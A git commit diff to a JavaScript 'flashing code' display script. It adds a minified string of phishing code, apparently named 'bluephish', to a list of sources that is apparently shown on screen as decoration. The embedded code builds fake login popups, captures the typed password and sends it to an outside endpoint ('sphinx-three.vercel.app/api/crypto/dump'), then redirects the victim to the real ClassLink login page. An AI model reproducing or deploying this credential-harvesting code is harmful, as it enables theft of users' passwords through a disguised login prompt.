flashing code now pulls from bluephish

This commit is contained in:
Youwen Wu 2023-10-11 23:02:27 -07:00
parent c372ce85cd
commit 1e9b75084f

View file

@ -2,12 +2,15 @@ let code = document.getElementById('code')
let raw = []
let els = []
// const SOURCES = [
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js',
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js',
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js',
// 'https://code.jquery.com/jquery-3.6.3.min.js',
// 'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js',
// ]
const SOURCES = [
'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js',
'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js',
'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js',
'https://code.jquery.com/jquery-3.6.3.min.js',
'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js',
'const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);'
]
hljs.configure({
@ -54,8 +57,9 @@ let spawn = () => {
let init = async () => {
for (let source of SOURCES) {
let res1 = await fetch(source);
let text1 = await res1.text();
// let res1 = await fetch(source);
// let text1 = await res1.text();
let text1 = source;
let formatted = text1.replace(/\n/g, "");
raw.push(formatted);
}